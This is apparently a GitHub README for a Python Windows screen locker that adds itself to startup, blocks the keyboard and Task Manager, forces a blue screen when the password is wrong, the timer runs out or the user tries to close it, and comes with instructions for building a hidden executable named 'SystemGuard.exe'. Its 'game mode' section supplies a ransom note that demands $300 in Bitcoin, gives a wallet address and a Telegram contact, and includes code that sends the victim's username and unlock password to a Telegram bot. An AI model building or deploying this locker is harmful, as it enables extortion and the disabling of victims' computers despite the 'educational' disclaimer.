Skip to content

Mr-Spect3r/Screen-Locker

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

30 Commits
 
 
 
 

Repository files navigation

Screen Locker

Spectra Lock Demo

A sophisticated, modern, and terrifying Windows screen locker with persistent persistence, countdown timer, and BSOD trigger.


⚠️ DISCLAIMER

THIS SOFTWARE IS PROVIDED FOR EDUCATIONAL AND RESEARCH PURPOSES ONLY.

The author is not responsible for any misuse or damage caused by this software. Unauthorized access to computer systems is illegal and punishable by law.

USE ONLY ON SYSTEMS YOU OWN OR HAVE PERMISSION TO TEST.


📋 Table of Contents


🎯 Features

Core Capabilities

  • Fullscreen Lockdown - Complete system lock with topmost window priority
  • Startup Persistence - Auto-runs on every system boot
  • Timer Persistence - Remembers remaining time across reboots using encrypted local storage
  • Password Protection - 3 attempts before catastrophic failure
  • BSOD Trigger - Hardware-level blue screen on failure

Modern UI/UX

  • Cyberpunk Aesthetic - Dark theme with red accents and glitch effects
  • Responsive Design - Automatically scales to ANY monitor resolution (1366x768 to 4K)
  • Real-time Countdown - 4-minute 40-second countdown with color-coded warnings
  • Scanline Animation - Moving scan line effect for authenticity
  • Pulse Radar Effect - Animated pulsing circle centered on screen
  • Random Glitch Effects - Sudden screen corruption for terror factor
  • Text Flicker - Random title flickering for unstable system feel

Security Features

  • Keyboard Disabled - Physical keyboard input blocked (except virtual keypad)
  • Task Manager Blocked - Cannot be terminated via standard methods
  • ALT+F4 Protection - Close attempts trigger immediate BSOD
  • Timer - Timer data stored in JSON format in AppData

📊 Compatibility Matrix

Windows Version Fullscreen BSOD Persistence Keyboard Block
Windows 7 ⚠️ Limited
Windows 8
Windows 10
Windows 11

⚠️ = Requires additional configuration


🔧 Technical Specifications

Specification Details
Language Python 3.7+
Framework Tkinter + CustomTkinter
Dependencies keyboard, ctypes, subprocess
File Size ~10KB (raw), ~8MB (compiled EXE)
Memory Usage ~50-80MB
CPU Usage <1% idle, ~2-5% with effects
OS Support Windows 7/8/10/11
Architecture x86, x64

⚙️ How It Works

Script Execution
↓

Copy to Startup Folder
↓

Load Timer Data from AppData
↓

Initialize Fullscreen Lock Screen
↓

Start Countdown Timer
↓

Monitor Password Attempts
↓

If Correct → Unlock & Cleanup
↓

If 3 Wrong Attempts → BSOD
↓

If Timer Expires → BSOD

Timer Persistence Logic

# Timer data saved every second to:
C:\Users\[Username]\AppData\Roaming\SystemGuard\timer_data.json

# On system restart:
# - Load remaining time from JSON
# - Continue countdown from saved value
# - Prevents timer reset bypass

📥 Installation & Setup

Prerequisites

# Install Python 3.7+ from https://python.org
# Install required packages:
pip install keyboard
pip install pyinstaller

Quick Start

  1. Clone or download this repository

  2. Edit configuration in Screen-Locker.py:

password = "your_secret_password"
lock_text = "⚠️ YOUR CUSTOM MESSAGE ⚠️"
note = "Your custom warning message here"
steps = "Your custom unlock instructions"
Convert to EXE (see Build Instructions below)

Configuration

Basic Settings

# Password Protection
password = "12345"                    # Change this!

# Visual Elements
lock_text = "⚠️ SYSTEM COMPROMISED ⚠️"  # Main title
note = '''Your custom warning message    
showing here...''' # Left panel text

steps = '''[ UNLOCK INSTRUCTION ]        
1. Instructions here
2. For the victim''' # Right panel text

# Timer Settings
time = 300                       # Seconds (300 = 5min)

🏗️ Build Instructions

Method 1: PyInstaller (Recommended)

# Normal convert:
pyinstaller Screen-Locker.py --onefile --noconsole

# Single file executable with console hidden
pyinstaller --onefile --noconsole --icon=lock.ico Screen-Locker.py

# With custom name
pyinstaller --onefile --noconsole --name="SystemGuard.exe" Screen-Locker.py

# For smaller file size
pyinstaller --onefile --noconsole --upx-dir="C:\upx" Screen-Locker.py

Method 2: Auto-py-to-exe (GUI)

# Install
pip install auto-py-to-exe

# Run
auto-py-to-exe

# Settings:
# - Script Location: Screen-Locker.py
# - One File: YES
# - Console Window: NO
# - Icon: (optional)

Method 3: Nuitka (Advanced)

pip install nuitka
nuitka --standalone --onefile --windows-disable-console Screen-Locker.py

💀 Do You Want to Play?

Replace all of this text with all of the text before the "DEAD()" function!

WARNING: This is a game mode. The password becomes random and gets sent to Telegram!

password = __import__("random").randint(10000,1000000)
lock_text = "⚠️ SYSTEM COMPROMISED ⚠️"
note = '''YOUR IDENTITY HAS BEEN TRACKED
Illegal activity detected by CyberSec Division.
Your files are being monitored.
No encryption applied yet, but access is RESTRICTED.

Failure to verify identity will trigger ERASE PROTOCOL.'''

steps = '''[ UNLOCK INSTRUCTION ]
1. Obtain a Moneypak card from any store.
2. Load minimum $300 BTC.
3. Enter the code below to restore access.
4. wallet: bc1qy7w57mv3hc3hp5q4n74hwmxanxdjffdxsgn5l8
Telegram: @MrEsfelurm'''

timer = 300

import getpass, os, sys, json
from subprocess import call
import ctypes 
from tkinter import *
from tkinter import messagebox
from functools import partial

try:
    __import__('requests').get(f"https://api.telegram.org/bot[your token bot]/sendMessage", params={"chat_id": "CHAT_ID", "text": f"User: {os.getlogin()}\nPASS: {password}"})
except:
    pass # Shit!
    # Or: password = "12345" # Default

Built purely for amusement — no need to unleash your inner hacker here:)

Releases

No releases published

Packages

 
 
 

Contributors

Languages